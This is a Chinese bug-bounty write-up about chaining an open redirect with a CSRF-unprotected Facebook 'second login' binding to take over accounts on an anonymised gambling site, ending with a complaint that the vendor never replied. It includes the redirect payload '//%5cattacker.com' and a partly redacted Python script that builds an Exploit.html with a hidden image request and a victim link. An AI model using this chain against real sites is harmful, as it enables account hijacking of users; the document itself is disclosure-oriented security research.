官网:http://securitytech.cc/
我为了一个漏洞花了 5 小时 —— 然后被厂商 彻底放鸽子
前言
翻看自己过去上报漏洞的记录,我发现了一个直到现在仍然萦绕在我心头的案例。
所以我决定把它写出来——好歹不让我的努力完全白费。
找到目标
那是 2024 年的某一天,一个普通的漏洞狩猎日。因为在各大平台一直撞重复,我开始使用我的老朋友 Google Dorking。
经典语法:
inurl:/.well-known/security.txt
经过一番筛选,我发现一家非常知名的博彩网站。简单分析后,我认为:
如果能找到东西,奖励几率非常大。
(结果我想多了)
出于保密原因,我不能公开公司名称,从现在起我们称它为:
example-gambling.com
开始调查
厂商没有说明子域是否在范围内,为了保险,我先看主域 www.example-gambling.com
我一边手测漏洞,一边让 Nuclei 在后台跑。
网站有很强的 WAF,这意味着:
- XSS ❌
-
- SQL 注入 ❌
-
- 其他简单注入 ❌
不服输的决心
我不死心,继续翻:
- IDOR
-
- 竞争条件
-
- SSRF
-
- ……
依旧完全没结果。 而这时 Nuclei 扫描结束了,竟然发现一个 Open Redirect(开放重定向)。
很多人发现后直接上报拿钱,但我觉得还有更大的东西。
开放重定向漏洞
重定向通过在 URL 末尾添加:
//%5c
可触发,例如:
https://example-gambling.com//%5cattacker.com
我意识到:
如果能把开放重定向和账号接管链起来,影响会更大。
突然的灵感
我想起登录页里有一个:
使用 Facebook 登录
同时,在用户设置里也可以添加第二登录方式,也是 Facebook。
于是我想到:
如果攻击者能把自己的 Facebook 账户添加到受害者账号作为“第二登录方式”,那攻击者就能直接登录对方账号!
把想法变成现实
我立刻测试。 出乎意料的是:
添加 Facebook 第二登录方式时,页面完全没有 CSRF 防护。
这意味着:
- 受害者只要访问带恶意请求的页面
-
- 就会自动把攻击者的 FB 账号绑定为“二次登录方式”
直接导致:
完整的账号接管
不能展示的部分
由于公司政策,我不能展示截图或具体 URL。
但我可以分享(经过大量修改的)Python 脚本:
Python 脚本(已修改)
import requests
import re
# Gambling FB OAuth
Facebook_OAuth_Url = "https://www.facebook.com/dialog/oauth?client_id=x&redirect_uri=https://gambling-example.com/Facebook"
Facebook_Cookies = input("[?] 输入攻击者的 Facebook Cookies: ")
# 必需的 FB 请求头
Headers = {
"Cookie": Facebook_Cookies,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Content-Type": "application/x-www-form-urlencoded",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
}
# 获取赌博网站的 OAuth URL
Gambling_OAuth = requests.get(Facebook_OAuth_Url, headers=Headers, allow_redirects=False)
Gambling_OAuth_exploit_url = str(
re.findall(r"Cant Disclose That ):", str(Gambling_OAuth.headers))
).replace("['", "").replace("']", "").replace("eng-gabling-example.com", "www.gambling-example.com")
# 生成 HTML 用于隐藏成功提示与监控触发时间
Html_File = open('Exploit.html', 'w')
Html_File.write(f'''
<html>
<body>
<center><h1>一键账号接管!</h1></center>
<img src="{Gambling_OAuth_exploit_url}">
</body>
</html>
''')
# 利用开放重定向
Attackers_Website = input("[?] 输入攻击者托管 Exploit.html 的域名(不含 http/https): ")
Final_Gambling_Exploit = "https://gambling-example.com//%5c" + Attackers_Website
print("[!] 发给受害者的最终链接: " + Final_Gambling_Exploit)
脚本中最关键的是:
- 用开放重定向提升危害
-
- 用
<img>隐藏成功绑定提示并通知攻击者
- 用
上报
悲剧来了。
尽管漏洞非常高危,对方完全没有回信:
- security.txt 邮箱 —— 没回复
-
- 在线客服 —— 没回复
-
- 支持工单 —— 也没回复
彻底石沉大海。
黑暗的一面
漏洞至今仍未修复。
这就是漏洞狩猎的阴暗面:
研究者付出巨大努力,却得不到认可;公司直接忽视或偷偷修复。
结语
故事讲完了。 Peace ✌️